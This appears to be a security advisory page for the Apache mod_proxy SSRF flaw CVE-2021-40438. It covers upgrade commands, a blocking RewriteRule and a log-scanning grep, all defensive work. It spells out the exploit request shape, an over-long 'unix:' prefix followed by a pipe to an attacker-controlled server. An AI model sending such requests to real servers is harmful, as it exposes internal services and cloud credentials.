CVE DatabaseCVE-2021-40438
한국어 권고문 →
CVE-2021-404389.0/CRITICALCISA KEVCWE-918CWE-918

Apache HTTP Server mod_proxy Server-Side Request Forgery (SSRF) Vulnerability (CVE-2021-40438) Technical Advisory

⚡ Jump to Patch
Affected Vendors
apache
Affected Components
http_server
Published Date
2021-09-16
CVSS v3.1
9.0
CRITICAL
EPSS (30d)
100.0%
FIRST.org
CISA KEV
Exploited

Executive & SecOps Summary

SECOPS ASSESSMENT
Affected Scope

Apache HTTP Server versions 2.4.48 and earlier with mod_proxy enabled

Impact

Unauthenticated remote attackers can craft malicious URI paths to force mod_proxy to forward requests to an arbitrary origin server, leading to SSRF

Mitigation

Immediately upgrade Apache HTTP Server to version 2.4.49 or later, or apply strict RewriteRules to block malicious proxy requests

Affected Products & Version Scope

Apache HTTP Server 2.4.48 and all prior 2.4.x versions (when mod_proxy is enabled)

Remediation & Live Workaround Commands

PATCH & WORKAROUND

1. Official Patch & Version Upgrade Commands

The recommended remediation is to upgrade Apache HTTP Server to the latest stable version (2.4.49 or higher).

bash
# For Debian/Ubuntu-based systems
sudo apt-get update
sudo apt-get install --only-upgrade apache2 -y

# For RedHat/CentOS/Rocky Linux-based systems
sudo dnf clean all
sudo dnf upgrade httpd -y

# Restart service and verify the installed version
sudo systemctl restart httpd || sudo systemctl restart apache2
apache2 -v || httpd -v

2. Temporary Workaround & Hardening Configuration

If an immediate upgrade is not feasible, implement a RewriteRule in your Apache configuration to block requests containing the malicious unix: pattern.

nginx
# Add the following rules to your httpd.conf or apache2.conf
<IfModule mod_rewrite.c>
    RewriteEngine On
    # Block requests attempting to abuse the unix: schema
    RewriteCond %{QUERY_STRING} ^unix:.* [NC,OR]
    RewriteCond %{REQUEST_URI} ^.*unix:.* [NC]
    RewriteRule .* - [F,L]
</IfModule>

# Test configuration and reload Apache
sudo apachectl configtest
sudo systemctl reload httpd || sudo systemctl reload apache2

3. Log Audit & IoC Verification Commands

Use the following script to scan your Apache access logs for potential exploitation attempts targeting this vulnerability.

bash
# Scan access logs for the 'unix:' keyword followed by a pipe character
echo '[+] Scanning Apache Access Logs for CVE-2021-40438 exploitation attempts...'
sudo grep -Ei 'unix:[^|]*\|' /var/log/apache2/access.log /var/log/httpd/access_log 2>/dev/null || echo '[-] No suspicious patterns found.'
Interactive SecOps Remediation Checklist
0/4 (0%)
Recommended Security Control & Mitigation Partner
Cloudflare Enterprise & Pro WAF
Due to active exploitation in the wild, immediately upgrade Apache HTTP Server to version 2.4.49 or later.

Block Exploits Instantly with Managed Virtual Patching Rules

Can't patch production immediately? Deploy managed WAF rules at the edge to intercept RCE, SQLi, and deserialization payloads before they hit your origin server.

3-min setup · Automated Zero-Day Managed Rules
Practice Exploiting & Patching This Web Vulnerability in an Interactive Lab
Launch Hands-On Security Lab

Technical Root Cause & Exploitation Mechanics

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2021-40438) is a critical Server-Side Request Forgery (SSRF) in the mod_proxy module of Apache HTTP Server [1, CWE-918]. The root cause lies in the improper validation and parsing of the request URI path when handling proxy configurations. Specifically, when a crafted request containing an excessively long unix: socket path prefix is processed, a parsing failure or string truncation occurs, allowing an attacker to override the intended backend destination with an arbitrary external target.

2. Exploitation Mechanics & Attack Scenario

An attacker exploits this vulnerability by sending a specially crafted HTTP request to the target Apache server configured as a reverse proxy. The request typically takes the following form: GET http://target-server/proxy?unix:AAAA...[770+ chars]...|http://attacker-controlled-server/ HTTP/1.1 During processing, the ap_proxy_canon_url function fails to handle the extremely long Unix Domain Socket (UDS) path correctly. Due to this parsing error, the server ignores the unix: prefix and instead forwards the request to the URL specified after the pipe (|) character, which points to the attacker's external server.

3. Infrastructure & Business Impact

With a CVSS score of 9.0 (Critical) and its inclusion in the CISA KEV catalog, this vulnerability represents a severe threat that is actively exploited in the wild. Successful exploitation allows external attackers to bypass network perimeters and access internal-only resources, such as cloud metadata services (e.g., AWS IMDS), internal APIs, and databases. This can result in sensitive data exfiltration, unauthorized internal access, and potential lateral movement within the enterprise network.

Official Vendor Advisories & References

Frequently Asked SecOps Questions (CVE-2021-40438)

FAQ

Q1. How critical is CVE-2021-40438 and is it actively exploited in the wild?

CVE-2021-40438 is rated CVSS 9.0 (CRITICAL) with a 30-day EPSS exploitation probability of 100.0%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.

Q2. Which vendors and products are affected by CVE-2021-40438?

Primary impacted vendors include apache across http_server. Scope summary: Apache HTTP Server 2.4.48 and all prior 2.4.x versions (when mod_proxy is enabled)

Q3. What temporary mitigations or workarounds exist for CVE-2021-40438 before patching?

[Mitigation] Immediately upgrade Apache HTTP Server to version 2.4.49 or later, or apply strict RewriteRules to block malicious proxy requests Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.

SECOPS WORKBENCH INTEGRATION

Generate an Internal Engineering Notice or CISO Report for CVE-2021-40438

Instantly format this advisory into an executive CISO summary or engineering patch ticket.

Generate Report →

🔗 Related Advisories in Similar Stack (apache)

View Category →
SecOps Advisory Dispatch & RSS Feed

Subscribe to Daily Vulnerability Briefings & KEV Alerts

Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.

Slack / Teams / RSS Feed:
PatchKO
CVE-2021-40438 Apache HTTP Server mod_proxy Server-Side Request Forgery (SSRF) Vulnerability (CVE-2021-40438) Technical Advisory (CVSS 9.0) - Patch & Workaround | CVE Pulse